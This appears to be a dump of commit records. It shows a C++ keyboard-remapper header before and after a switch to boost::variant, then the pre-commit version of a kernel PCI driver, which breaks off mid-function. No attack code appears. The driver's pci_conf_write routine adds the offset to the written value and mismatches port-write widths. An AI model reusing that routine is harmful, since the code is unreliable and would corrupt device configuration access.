modifier::fn:\n return {modifier_flag::fn};\n\n case modifier::left_command:\n return {modifier_flag::left_command};\n\n case modifier::left_control:\n return {modifier_flag::left_control};\n\n case modifier::left_option:\n return {modifier_flag::left_option};\n\n case modifier::left_shift:\n return {modifier_flag::left_shift};\n\n case modifier::option:\n return {modifier_flag::left_option, modifier_flag::right_option};\n\n case modifier::right_command:\n return {modifier_flag::right_command};\n\n case modifier::right_control:\n return {modifier_flag::right_control};\n\n case modifier::right_option:\n return {modifier_flag::right_option};\n\n case modifier::right_shift:\n return {modifier_flag::right_shift};\n\n case modifier::shift:\n return {modifier_flag::left_shift, modifier_flag::right_shift};\n\n case modifier::end_:\n return {};\n }\n }\n\n static modifier get_modifier(modifier_flag modifier_flag) {\n switch (modifier_flag) {\n case modifier_flag::caps_lock:\n return modifier::caps_lock;\n\n case modifier_flag::fn:\n return modifier::fn;\n\n case modifier_flag::left_command:\n return modifier::left_command;\n\n case modifier_flag::left_control:\n return modifier::left_control;\n\n case modifier_flag::left_option:\n return modifier::left_option;\n\n case modifier_flag::left_shift:\n return modifier::left_shift;\n\n case modifier_flag::right_command:\n return modifier::right_command;\n\n case modifier_flag::right_control:\n return modifier::right_control;\n\n case modifier_flag::right_option:\n return modifier::right_option;\n\n case modifier_flag::right_shift:\n return modifier::right_shift;\n\n case modifier_flag::zero:\n case modifier_flag::end_:\n return modifier::end_;\n }\n }\n\nprotected:\n event_definition(const nlohmann::json& json) : type_(type::none) {\n \/\/ Set type_ and values.\n\n {\n const std::string key = \"key_code\";\n if (json.find(key) != std::end(json) && json[key].is_string()) {\n const std::string& name = json[key];\n if (auto key_code = types::get_key_code(name)) {\n type_ = type::key_code;\n key_code_ = *key_code;\n return;\n }\n }\n }\n {\n const std::string key = \"pointing_button\";\n if (json.find(key) != std::end(json) && json[key].is_string()) {\n if (auto pointing_button = types::get_pointing_button(json[key])) {\n type_ = type::pointing_button;\n pointing_button_ = *pointing_button;\n return;\n }\n }\n }\n }\n\n event_definition(key_code key_code) : type_(type::key_code),\n key_code_(key_code) {\n }\n\n event_definition(pointing_button pointing_button) : type_(type::pointing_button),\n pointing_button_(pointing_button) {\n }\n\n type type_;\n union {\n key_code key_code_;\n pointing_button pointing_button_;\n };\n};\n\nclass from_event_definition final : public event_definition {\npublic:\n from_event_definition(const nlohmann::json& json) : event_definition(json) {\n {\n const std::string key = \"modifiers\";\n if (json.find(key) != json.end() && json[key].is_object()) {\n auto& modifiers = json[key];\n {\n const std::string k = \"mandatory\";\n if (modifiers.find(k) != modifiers.end()) {\n mandatory_modifiers_ = make_modifiers(modifiers[k]);\n }\n }\n {\n const std::string k = \"optional\";\n if (modifiers.find(k) != modifiers.end()) {\n optional_modifiers_ = make_modifiers(modifiers[k]);\n }\n }\n }\n }\n }\n\n from_event_definition(key_code key_code,\n std::unordered_set<modifier> mandatory_modifiers,\n std::unordered_set<modifier> optional_modifiers) : event_definition(key_code),\n mandatory_modifiers_(mandatory_modifiers),\n optional_modifiers_(optional_modifiers) {\n }\n\n virtual ~from_event_definition(void) {\n }\n\n const std::unordered_set<modifier>& get_mandatory_modifiers(void) const {\n return mandatory_modifiers_;\n }\n\n const std::unordered_set<modifier>& get_optional_modifiers(void) const {\n return optional_modifiers_;\n }\n\n boost::optional<std::unordered_set<modifier_flag>> test_modifiers(const modifier_flag_manager& modifier_flag_manager) const {\n std::unordered_set<modifier_flag> modifier_flags;\n\n \/\/ If mandatory_modifiers_ contains modifier::any, return all active modifier_flags.\n\n if (mandatory_modifiers_.find(modifier::any) != std::end(mandatory_modifiers_)) {\n for (auto i = static_cast<uint32_t>(modifier_flag::zero) + 1; i != static_cast<uint32_t>(modifier_flag::end_); ++i) {\n auto flag = modifier_flag(i);\n if (modifier_flag_manager.is_pressed(flag)) {\n modifier_flags.insert(flag);\n }\n }\n return modifier_flags;\n }\n\n \/\/ Check modifier_flag state.\n\n for (int i = 0; i < static_cast<int>(modifier::end_); ++i) {\n auto m = modifier(i);\n\n if (mandatory_modifiers_.find(m) != std::end(mandatory_modifiers_)) {\n auto pair = test_modifier(modifier_flag_manager, m);\n if (!pair.first) {\n return boost::none;\n }\n if (pair.second != modifier_flag::zero) {\n modifier_flags.insert(pair.second);\n }\n }\n }\n\n \/\/ If optional_modifiers_ does not contain modifier::any, we have to check modifier flags strictly.\n\n if (optional_modifiers_.find(modifier::any) == std::end(optional_modifiers_)) {\n std::unordered_set<modifier_flag> extra_modifier_flags;\n for (auto m = static_cast<uint32_t>(modifier_flag::zero) + 1; m != static_cast<uint32_t>(modifier_flag::end_); ++m) {\n extra_modifier_flags.insert(modifier_flag(m));\n }\n\n for (int i = 0; i < static_cast<int>(modifier::end_); ++i) {\n auto m = modifier(i);\n\n if (mandatory_modifiers_.find(m) != std::end(mandatory_modifiers_) ||\n optional_modifiers_.find(m) != std::end(optional_modifiers_)) {\n for (const auto& flag : get_modifier_flags(m)) {\n extra_modifier_flags.erase(flag);\n }\n }\n }\n\n for (const auto& flag : extra_modifier_flags) {\n if (modifier_flag_manager.is_pressed(flag)) {\n return boost::none;\n }\n }\n }\n\n return modifier_flags;\n }\n\n static std::pair<bool, modifier_flag> test_modifier(const modifier_flag_manager& modifier_flag_manager,\n modifier modifier) {\n if (modifier == modifier::any) {\n return std::make_pair(true, modifier_flag::zero);\n }\n\n auto modifier_flags = get_modifier_flags(modifier);\n if (!modifier_flags.empty()) {\n for (const auto& m : modifier_flags) {\n if (modifier_flag_manager.is_pressed(m)) {\n return std::make_pair(true, m);\n }\n }\n }\n\n return std::make_pair(false, modifier_flag::zero);\n }\n\nprivate:\n std::unordered_set<modifier> mandatory_modifiers_;\n std::unordered_set<modifier> optional_modifiers_;\n};\n\nclass to_event_definition final : public event_definition {\npublic:\n to_event_definition(const nlohmann::json& json) : event_definition(json) {\n {\n const std::string key = \"modifiers\";\n if (json.find(key) != json.end()) {\n modifiers_ = make_modifiers(json[key]);\n }\n }\n }\n\n to_event_definition(key_code key_code,\n std::unordered_set<modifier> modifiers) : event_definition(key_code),\n modifiers_(modifiers) {\n }\n\n virtual ~to_event_definition(void) {\n }\n\n const std::unordered_set<modifier>& get_modifiers(void) const {\n return modifiers_;\n }\n\nprivate:\n std::unordered_set<modifier> modifiers_;\n};\n\ninline std::ostream& operator<<(std::ostream& stream, const event_definition::modifier& value) {\n#define KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(MODIFIER) \\\n case event_definition::modifier::MODIFIER: \\\n stream << #MODIFIER; \\\n break;\n\n switch (value) {\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(any);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(caps_lock);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(fn);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(end_);\n }\n\n#undef KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT\n\n return stream;\n}\n\ntemplate <template <class T, class A> class container>\ninline std::ostream& operator<<(std::ostream& stream, const container<event_definition::modifier, std::allocator<event_definition::modifier>>& values) {\n return stream_utility::output_enums(stream, values);\n}\n\ntemplate <template <class T, class H, class K, class A> class container>\ninline std::ostream& operator<<(std::ostream& stream,\n const container<event_definition::modifier,\n std::hash<event_definition::modifier>,\n std::equal_to<event_definition::modifier>,\n std::allocator<event_definition::modifier>>& values) {\n return stream_utility::output_enums(stream, values);\n}\n} \/\/ namespace details\n} \/\/ namespace manipulator\n} \/\/ namespace krbn\n<commit_msg>use boost\/variant<commit_after>#pragma once\n\n#include \"boost_defs.hpp\"\n\n#include \"event_queue.hpp\"\n#include \"modifier_flag_manager.hpp\"\n#include \"stream_utility.hpp\"\n#include <boost\/optional.hpp>\n#include <boost\/variant.hpp>\n#include <json\/json.hpp>\n#include <unordered_set>\n\nnamespace krbn {\nnamespace manipulator {\nnamespace details {\n\nclass event_definition {\npublic:\n enum class type {\n none,\n key_code,\n pointing_button,\n };\n\n enum class modifier {\n any,\n caps_lock,\n command,\n control,\n fn,\n left_command,\n left_control,\n left_option,\n left_shift,\n option,\n right_command,\n right_control,\n right_option,\n right_shift,\n shift,\n end_,\n };\n\n virtual ~event_definition(void) {\n }\n\n type get_type(void) const {\n return type_;\n }\n\n boost::optional<key_code> get_key_code(void) const {\n if (type_ == type::key_code) {\n return boost::get<key_code>(value_);\n }\n return boost::none;\n }\n\n boost::optional<pointing_button> get_pointing_button(void) const {\n if (type_ == type::pointing_button) {\n return boost::get<pointing_button>(value_);\n }\n return boost::none;\n }\n\n boost::optional<event_queue::queued_event::event> to_event(void) const {\n switch (type_) {\n case type::none:\n return boost::none;\n case type::key_code:\n return event_queue::queued_event::event(boost::get<key_code>(value_));\n case type::pointing_button:\n return event_queue::queued_event::event(boost::get<pointing_button>(value_));\n }\n }\n\n static std::unordered_set<modifier> make_modifiers(const nlohmann::json& json) {\n std::unordered_set<modifier> modifiers;\n\n for (const auto& j : json) {\n if (j.is_string()) {\n const std::string& name = j;\n if (name == \"any\") {\n modifiers.insert(modifier::any);\n } else if (name == \"caps_lock\") {\n modifiers.insert(modifier::caps_lock);\n } else if (name == \"command\") {\n modifiers.insert(modifier::command);\n } else if (name == \"control\") {\n modifiers.insert(modifier::control);\n } else if (name == \"fn\") {\n modifiers.insert(modifier::fn);\n } else if (name == \"left_command\") {\n modifiers.insert(modifier::left_command);\n } else if (name == \"left_control\") {\n modifiers.insert(modifier::left_control);\n } else if (name == \"left_option\") {\n modifiers.insert(modifier::left_option);\n } else if (name == \"left_shift\") {\n modifiers.insert(modifier::left_shift);\n } else if (name == \"option\") {\n modifiers.insert(modifier::option);\n } else if (name == \"right_command\") {\n modifiers.insert(modifier::right_command);\n } else if (name == \"right_control\") {\n modifiers.insert(modifier::right_control);\n } else if (name == \"right_option\") {\n modifiers.insert(modifier::right_option);\n } else if (name == \"right_shift\") {\n modifiers.insert(modifier::right_shift);\n } else if (name == \"shift\") {\n modifiers.insert(modifier::shift);\n } else {\n logger::get_logger().error(\"unknown modifier: {0}\", name);\n }\n }\n }\n\n return modifiers;\n }\n\n static std::vector<modifier_flag> get_modifier_flags(modifier modifier) {\n switch (modifier) {\n case modifier::any:\n return {};\n\n case modifier::caps_lock:\n return {modifier_flag::caps_lock};\n\n case modifier::command:\n return {modifier_flag::left_command, modifier_flag::right_command};\n\n case modifier::control:\n return {modifier_flag::left_control, modifier_flag::right_control};\n\n case modifier::fn:\n return {modifier_flag::fn};\n\n case modifier::left_command:\n return {modifier_flag::left_command};\n\n case modifier::left_control:\n return {modifier_flag::left_control};\n\n case modifier::left_option:\n return {modifier_flag::left_option};\n\n case modifier::left_shift:\n return {modifier_flag::left_shift};\n\n case modifier::option:\n return {modifier_flag::left_option, modifier_flag::right_option};\n\n case modifier::right_command:\n return {modifier_flag::right_command};\n\n case modifier::right_control:\n return {modifier_flag::right_control};\n\n case modifier::right_option:\n return {modifier_flag::right_option};\n\n case modifier::right_shift:\n return {modifier_flag::right_shift};\n\n case modifier::shift:\n return {modifier_flag::left_shift, modifier_flag::right_shift};\n\n case modifier::end_:\n return {};\n }\n }\n\n static modifier get_modifier(modifier_flag modifier_flag) {\n switch (modifier_flag) {\n case modifier_flag::caps_lock:\n return modifier::caps_lock;\n\n case modifier_flag::fn:\n return modifier::fn;\n\n case modifier_flag::left_command:\n return modifier::left_command;\n\n case modifier_flag::left_control:\n return modifier::left_control;\n\n case modifier_flag::left_option:\n return modifier::left_option;\n\n case modifier_flag::left_shift:\n return modifier::left_shift;\n\n case modifier_flag::right_command:\n return modifier::right_command;\n\n case modifier_flag::right_control:\n return modifier::right_control;\n\n case modifier_flag::right_option:\n return modifier::right_option;\n\n case modifier_flag::right_shift:\n return modifier::right_shift;\n\n case modifier_flag::zero:\n case modifier_flag::end_:\n return modifier::end_;\n }\n }\n\nprotected:\n event_definition(const nlohmann::json& json) : type_(type::none) {\n \/\/ Set type_ and values.\n\n {\n const std::string key = \"key_code\";\n if (json.find(key) != std::end(json) && json[key].is_string()) {\n const std::string& name = json[key];\n if (auto key_code = types::get_key_code(name)) {\n type_ = type::key_code;\n value_ = *key_code;\n return;\n }\n }\n }\n {\n const std::string key = \"pointing_button\";\n if (json.find(key) != std::end(json) && json[key].is_string()) {\n if (auto pointing_button = types::get_pointing_button(json[key])) {\n type_ = type::pointing_button;\n value_ = *pointing_button;\n return;\n }\n }\n }\n }\n\n event_definition(key_code key_code) : type_(type::key_code),\n value_(key_code) {\n }\n\n event_definition(pointing_button pointing_button) : type_(type::pointing_button),\n value_(pointing_button) {\n }\n\n type type_;\n boost::variant<key_code,\n pointing_button>\n value_;\n};\n\nclass from_event_definition final : public event_definition {\npublic:\n from_event_definition(const nlohmann::json& json) : event_definition(json) {\n {\n const std::string key = \"modifiers\";\n if (json.find(key) != json.end() && json[key].is_object()) {\n auto& modifiers = json[key];\n {\n const std::string k = \"mandatory\";\n if (modifiers.find(k) != modifiers.end()) {\n mandatory_modifiers_ = make_modifiers(modifiers[k]);\n }\n }\n {\n const std::string k = \"optional\";\n if (modifiers.find(k) != modifiers.end()) {\n optional_modifiers_ = make_modifiers(modifiers[k]);\n }\n }\n }\n }\n }\n\n from_event_definition(key_code key_code,\n std::unordered_set<modifier> mandatory_modifiers,\n std::unordered_set<modifier> optional_modifiers) : event_definition(key_code),\n mandatory_modifiers_(mandatory_modifiers),\n optional_modifiers_(optional_modifiers) {\n }\n\n virtual ~from_event_definition(void) {\n }\n\n const std::unordered_set<modifier>& get_mandatory_modifiers(void) const {\n return mandatory_modifiers_;\n }\n\n const std::unordered_set<modifier>& get_optional_modifiers(void) const {\n return optional_modifiers_;\n }\n\n boost::optional<std::unordered_set<modifier_flag>> test_modifiers(const modifier_flag_manager& modifier_flag_manager) const {\n std::unordered_set<modifier_flag> modifier_flags;\n\n \/\/ If mandatory_modifiers_ contains modifier::any, return all active modifier_flags.\n\n if (mandatory_modifiers_.find(modifier::any) != std::end(mandatory_modifiers_)) {\n for (auto i = static_cast<uint32_t>(modifier_flag::zero) + 1; i != static_cast<uint32_t>(modifier_flag::end_); ++i) {\n auto flag = modifier_flag(i);\n if (modifier_flag_manager.is_pressed(flag)) {\n modifier_flags.insert(flag);\n }\n }\n return modifier_flags;\n }\n\n \/\/ Check modifier_flag state.\n\n for (int i = 0; i < static_cast<int>(modifier::end_); ++i) {\n auto m = modifier(i);\n\n if (mandatory_modifiers_.find(m) != std::end(mandatory_modifiers_)) {\n auto pair = test_modifier(modifier_flag_manager, m);\n if (!pair.first) {\n return boost::none;\n }\n if (pair.second != modifier_flag::zero) {\n modifier_flags.insert(pair.second);\n }\n }\n }\n\n \/\/ If optional_modifiers_ does not contain modifier::any, we have to check modifier flags strictly.\n\n if (optional_modifiers_.find(modifier::any) == std::end(optional_modifiers_)) {\n std::unordered_set<modifier_flag> extra_modifier_flags;\n for (auto m = static_cast<uint32_t>(modifier_flag::zero) + 1; m != static_cast<uint32_t>(modifier_flag::end_); ++m) {\n extra_modifier_flags.insert(modifier_flag(m));\n }\n\n for (int i = 0; i < static_cast<int>(modifier::end_); ++i) {\n auto m = modifier(i);\n\n if (mandatory_modifiers_.find(m) != std::end(mandatory_modifiers_) ||\n optional_modifiers_.find(m) != std::end(optional_modifiers_)) {\n for (const auto& flag : get_modifier_flags(m)) {\n extra_modifier_flags.erase(flag);\n }\n }\n }\n\n for (const auto& flag : extra_modifier_flags) {\n if (modifier_flag_manager.is_pressed(flag)) {\n return boost::none;\n }\n }\n }\n\n return modifier_flags;\n }\n\n static std::pair<bool, modifier_flag> test_modifier(const modifier_flag_manager& modifier_flag_manager,\n modifier modifier) {\n if (modifier == modifier::any) {\n return std::make_pair(true, modifier_flag::zero);\n }\n\n auto modifier_flags = get_modifier_flags(modifier);\n if (!modifier_flags.empty()) {\n for (const auto& m : modifier_flags) {\n if (modifier_flag_manager.is_pressed(m)) {\n return std::make_pair(true, m);\n }\n }\n }\n\n return std::make_pair(false, modifier_flag::zero);\n }\n\nprivate:\n std::unordered_set<modifier> mandatory_modifiers_;\n std::unordered_set<modifier> optional_modifiers_;\n};\n\nclass to_event_definition final : public event_definition {\npublic:\n to_event_definition(const nlohmann::json& json) : event_definition(json) {\n {\n const std::string key = \"modifiers\";\n if (json.find(key) != json.end()) {\n modifiers_ = make_modifiers(json[key]);\n }\n }\n }\n\n to_event_definition(key_code key_code,\n std::unordered_set<modifier> modifiers) : event_definition(key_code),\n modifiers_(modifiers) {\n }\n\n virtual ~to_event_definition(void) {\n }\n\n const std::unordered_set<modifier>& get_modifiers(void) const {\n return modifiers_;\n }\n\nprivate:\n std::unordered_set<modifier> modifiers_;\n};\n\ninline std::ostream& operator<<(std::ostream& stream, const event_definition::modifier& value) {\n#define KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(MODIFIER) \\\n case event_definition::modifier::MODIFIER: \\\n stream << #MODIFIER; \\\n break;\n\n switch (value) {\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(any);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(caps_lock);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(fn);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(left_shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_command);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_control);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_option);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(right_shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(shift);\n KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT(end_);\n }\n\n#undef KRBN_MANIPULATOR_DETAILS_MODIFIER_OUTPUT\n\n return stream;\n}\n\ntemplate <template <class T, class A> class container>\ninline std::ostream& operator<<(std::ostream& stream, const container<event_definition::modifier, std::allocator<event_definition::modifier>>& values) {\n return stream_utility::output_enums(stream, values);\n}\n\ntemplate <template <class T, class H, class K, class A> class container>\ninline std::ostream& operator<<(std::ostream& stream,\n const container<event_definition::modifier,\n std::hash<event_definition::modifier>,\n std::equal_to<event_definition::modifier>,\n std::allocator<event_definition::modifier>>& values) {\n return stream_utility::output_enums(stream, values);\n}\n} \/\/ namespace details\n} \/\/ namespace manipulator\n} \/\/ namespace krbn\n<|endoftext|>"} {"text":"<commit_before>#include \"types.h\"\n#include \"amd64.h\"\n#include \"kernel.hh\"\n#include \"pci.hh\"\n#include \"pcireg.hh\"\n#include \"traps.h\"\n#include \"kstream.hh\"\n\nstatic console_stream verbose(true);\n\nextern int e1000attach(struct pci_func *pcif);\nextern int e1000eattach(struct pci_func *pcif);\n\n\/\/ Flag to do \"lspci\" at bootup\nstatic int pci_show_devs = 0;\nstatic int pci_show_addrs = 0;\n\n\/\/ PCI \"configuration mechanism one\"\nstatic u32 pci_conf1_addr_ioport = 0x0cf8;\nstatic u32 pci_conf1_data_ioport = 0x0cfc;\n\n\/\/ PCI driver table\nstruct pci_driver {\n u32 key1, key2;\n int (*attachfn) (struct pci_func *pcif);\n};\n\n\/\/ Forward declarations\nstatic int pci_bridge_attach(struct pci_func *pcif);\n\n\/\/ pci_attach_class matches the class and subclass of a PCI device\nstruct pci_driver pci_attach_class[] = {\n { PCI_CLASS_BRIDGE, PCI_SUBCLASS_BRIDGE_PCI, &pci_bridge_attach },\n { 0, 0, 0 },\n};\n\n\/\/ pci_attach_vendor matches the vendor ID and device ID of a PCI device\nstruct pci_driver pci_attach_vendor[] = {\n \/\/ [E1000 5.2] \n \/\/ QEMU emulates an e1000 82540EM\n { 0x8086, 0x100e, &e1000attach },\n \/\/ josmp's dual ported e1000 82546GB copper\n { 0x8086, 0x1079, &e1000attach },\n \/\/ tom's e1000 82541GI copper\n { 0x8086, 0x1076, &e1000attach },\n \/\/ Both of ud0's e1000e (82573E, 82573L)\n { 0x8086, 0x108c, &e1000eattach },\n { 0x8086, 0x109A, &e1000eattach },\n { 0, 0, 0 },\n};\n\nstatic const char *pci_class[] =\n{\n \"Unknown\",\n \"Storage controller\",\n \"Network controller\",\n \"Display controller\",\n \"Multimedia device\",\n \"Memory controller\",\n \"Bridge device\",\n};\n\nstatic void\npci_print_func(struct pci_func *f)\n{\n const char *classname = pci_class[0];\n if (PCI_CLASS(f->dev_class) < sizeof(pci_class) \/ sizeof(pci_class[0]))\n classname = pci_class[PCI_CLASS(f->dev_class)];\n\n cprintf(\"PCI: %x:%x.%d: %x:%x: class: %x.%x (%s) irq: %d int: %c\\n\",\n f->bus->busno, f->dev, f->func,\n PCI_VENDOR(f->dev_id), PCI_PRODUCT(f->dev_id),\n PCI_CLASS(f->dev_class), PCI_SUBCLASS(f->dev_class), classname,\n f->irq_line, \"-ABCD\"[f->int_pin]);\n}\n\nvoid\nto_stream(print_stream *s, const struct pci_func &f)\n{\n s->print(sfmt(f.bus->busno).base(16).width(2).pad(), ':',\n sfmt(f.dev).base(16).width(2).pad(), '.',\n sfmt(f.func).base(16).width(2).pad());\n}\n\nstatic void\npci_conf1_set_addr(u32 seg,\n u32 bus,\n\t\t u32 dev,\n\t\t u32 func,\n\t\t u32 offset)\n{\n if (!(seg == 0 &&\n bus < 256 &&\n dev < 32 &&\n func < 8 &&\n offset < 256))\n panic(\"pci_conf1_set_addr\");\n \n u32 v = (1 << 31) |\t\t\/\/ config-space\n (bus << 16) | (dev << 11) | (func << 8) | (offset);\n outl(pci_conf1_addr_ioport, v);\n}\n\nu32\npci_conf_read(u32 seg, u32 bus, u32 dev, u32 func, u32 offset, int width)\n{\n pci_conf1_set_addr(seg, bus, dev, func, offset);\n switch (width) {\n case 8:\n return inb(pci_conf1_data_ioport + (offset & 3));\n case 16:\n return inw(pci_conf1_data_ioport + (offset & 2));\n case 32:\n return inl(pci_conf1_data_ioport);\n }\n panic(\"pci_conf_read: bad width %d\", width);\n}\n\nstatic u32\npci_conf_read(struct pci_func *f, u32 off)\n{\n return pci_conf_read(0, f->bus->busno, f->dev, f->func, off, 32);\n}\n\nvoid\npci_conf_write(u32 seg, u32 bus, u32 dev, u32 func, u32 offset,\n u32 val, int width)\n{\n pci_conf1_set_addr(seg, bus, dev, func, offset);\n switch (width) {\n case 8:\n outb(pci_conf1_data_ioport, val + (offset & 3));\n return;\n case 16:\n outl(pci_conf1_data_ioport, val + (offset & 2));\n return;\n case 32:\n outw(pci_conf1_data_ioport, val);\n return;\n }\n panic(\"pci_conf_write: bad width %d\", width);\n}\n\nstatic void\npci_conf_write(struct pci_func *f, u32 off, u32 v)\n{\n pci_conf_write(0, f->bus->busno, f->dev, f->func, off, v, 32);\n}\n\nstatic int __attribute__((warn_unused_result))\npci_attach_match(u32 key1, u32 key2,\n\t\t struct pci_driver *list, struct pci_func *pcif)\n{\n u32 i;\n \n for (i = 0; list[i].attachfn; i++) {\n if (list[i].key1 == key1 && list[i].key2 == key2) {\n int r = list[i].attachfn(pcif);\n if (r > 0)\n return r;\n if (r < 0)\n cprintf(\"pci_attach_match: attaching \"\n \"%x.%x (%p): %d\\n\",\n key1, key2, list[i].attachfn, r);\n }\n }\n return 0;\n}\n\nstatic int\npci_attach(struct pci_func *f)\n{\n return\n pci_attach_match(PCI_CLASS(f->dev_class),\n PCI_SUBCLASS(f->dev_class),\n &pci_attach_class[0], f) ||\n pci_attach_match(PCI_VENDOR(f->dev_id),\n PCI_PRODUCT(f->dev_id),\n &pci_attach_vendor[0], f);\n}\n\nstatic void\npci_scan_caplist(struct pci_func* f)\n{\n u32 cap_ptr = PCI_CAPLIST_PTR(pci_conf_read(f, PCI_CAPLISTPTR_REG));\n for (int i = 0; i < 10 && cap_ptr != 0; i++) {\n u32 cap_entry = pci_conf_read(f, cap_ptr);\n switch (PCI_CAPLIST_CAP(cap_entry)) {\n case PCI_CAP_MSI:\n f->msi_capreg = cap_ptr;\n break;\n default:\n break;\n }\n cap_ptr = PCI_CAPLIST_NEXT(cap_entry);\n }\n}\n\nvoid\npci_msi_enable(struct pci_func *f, u8 irqnum)\n{\n \/\/ PCI System Architecture, Fourth Edition\n\n assert(f->msi_capreg != 0);\n u32 cap_entry = pci_conf_read(f, f->msi_capreg); \n\n if (!(cap_entry & PCI_MSI_MCR_64BIT))\n panic(\"pci_msi_enable only handles 64-bit address capable devices\");\n if (PCI_MSI_MCR_MMC(cap_entry) != 0)\n panic(\"pci_msi_enable only handles 1 requested message\");\n\n \/\/ [PCI SA pg 253]\n \/\/ Step 4. Assign a dword-aligned memory address to the device's\n \/\/ Message Address Register.\n \/\/ (The Message Address Register format is mandated by the x86\n \/\/ architecture. See 9.11.1 in the Vol. 3 of the Intel architecture\n \/\/ manual.)\n pci_conf_write(f, f->msi_capreg + 4*1,\n (0x0fee << 20) | \/\/ magic constant for northbridge\n (0 << 12) | \/\/ destination ID\n (1 << 3) | \/\/ redirection hint\n (0 << 2)); \/\/ destination mode\n pci_conf_write(f, f->msi_capreg + 4*2, 0);\n \n \/\/ Step 5 and 6. Allocate messages for the device. Since we\n \/\/ support only one message and that is the default value in\n \/\/ the message control register, we do nothing.\n\n \/\/ Step 7. Write base message data pattern into the device's\n \/\/ Message Data Register.\n \/\/ (The Message Data Register format is mandated by the x86\n \/\/ architecture. See 9.11.2 in the Vol. 3 of the Intel architecture\n \/\/ manual.\n pci_conf_write(f, f->msi_capreg + 4*3,\n (0 << 15) | \/\/ trigger mode (edge)\n \/\/(0 << 14) | \/\/ level for trigger mode (don't care)\n (0 << 8) | \/\/ delivery mode (fixed)\n (irqnum+T_IRQ0)); \/\/ vector\n\n \/\/ Step 8. Set the MSI enable bit in the device's Message\n \/\/ control register.\n pci_conf_write(f, f->msi_capreg, cap_entry | (1 << 16));\n}\n\nstatic int\npci_scan_bus(struct pci_bus *bus)\n{\n verbose.println(\"pci: Scanning bus \", shex(bus->busno));\n\n int totaldev = 0;\n struct pci_func df;\n memset(&df, 0, sizeof(df));\n df.bus = bus;\n\n for (df.dev = 0; df.dev < 32; df.dev++) {\n u32 bhlc = pci_conf_read(&df, PCI_BHLC_REG);\n if (PCI_HDRTYPE_TYPE(bhlc) > 1)\t \/\/ Unsupported or no device\n continue;\n \n totaldev++;\n\n struct pci_func f = df;\n for (f.func = 0; f.func < (PCI_HDRTYPE_MULTIFN(bhlc) ? 8 : 1);\n f.func++) {\n struct pci_func af = f;\n \n af.dev_id = pci_conf_read(&f, PCI_ID_REG);\n if (PCI_VENDOR(af.dev_id) == 0xffff)\n\t\t\t\tcontinue;\n \n u32 intr = pci_conf_read(&af, PCI_INTERRUPT_REG);\n af.irq_line = PCI_INTERRUPT_LINE(intr);\n af.int_pin = PCI_INTERRUPT_PIN(intr);\n\n u32 cmd_status = pci_conf_read(&af, PCI_COMMAND_STATUS_REG);\n if (cmd_status & PCI_STATUS_CAPLIST_SUPPORT)\n pci_scan_caplist(&af);\n\n af.dev_class = pci_conf_read(&af, PCI_CLASS_REG);\n if (pci_show_devs)\n pci_print_func(&af);\n pci_attach(&af);\n }\n }\n return totaldev;\n}\n\nstatic int\npci_bridge_attach(struct pci_func *pcif)\n{\n u32 busreg = pci_conf_read(pcif, PCI_BRIDGE_BUS_REG);\n\n struct pci_bus nbus;\n memset(&nbus, 0, sizeof(nbus));\n nbus.parent_bridge = pcif;\n nbus.busno = (busreg >> PCI_BRIDGE_BUS_SECONDARY_SHIFT) & 0xff;\n\n if (pci_show_devs)\n cprintf(\"PCI: %x:%x.%d: bridge to PCI bus %d--%d\\n\",\n pcif->bus->busno, pcif->dev, pcif->func,\n nbus.busno,\n (busreg >> PCI_BRIDGE_BUS_SUBORDINATE_SHIFT) & 0xff);\n \n pci_scan_bus(&nbus);\n return 1;\n}\n\nvoid\npci_func_enable(struct pci_func *f)\n{\n pci_conf_write(f, PCI_COMMAND_STATUS_REG,\n PCI_COMMAND_IO_ENABLE |\n PCI_COMMAND_MEM_ENABLE |\n PCI_COMMAND_MASTER_ENABLE);\n \n u32 bar_width;\n u32 bar;\n for (bar = PCI_MAPREG_START; bar < PCI_MAPREG_END;\n bar += bar_width)\n {\n u32 oldv = pci_conf_read(f, bar);\n \n bar_width = 4;\n pci_conf_write(f, bar, 0xffffffff);\n u32 rv = pci_conf_read(f, bar);\n \n if (rv == 0)\n continue;\n \n int regnum 